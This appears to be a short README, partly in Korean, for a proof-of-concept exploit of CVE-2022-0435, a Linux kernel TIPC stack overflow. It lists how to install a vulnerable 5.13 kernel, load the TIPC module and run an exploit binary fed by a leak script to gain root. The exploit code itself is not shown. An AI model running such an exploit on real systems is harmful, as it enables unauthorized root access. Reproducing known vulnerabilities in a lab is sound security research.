CVE-2022-0435-Poc

CVE-2022-0435(스택 오버플로우)

wget https://releases.ubuntu.com/jammy/ubuntu-22.04.5-live-server-amd64.iso

mkdir kernel

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-headers-5.13.0-051300-generic_5.13.0-051300.202106272333_amd64.deb

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-headers-5.13.0-051300_5.13.0-051300.202106272333_all.deb

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-image-unsigned-5.13.0-051300-generic_5.13.0-051300.202106272333_amd64.deb

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-modules-5.13.0-051300-generic_5.13.0-051300.202106272333_amd64.deb

wget http://archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_amd64.deb

sudo dpkg -i *.deb

재부팅 후 5.13.0-051300-generic 선택

exploit.c 및 leak.py 로드

sudo modprobe tipc

sudo ./exploit $(sudo python3 leak.py)

루트 권한 획득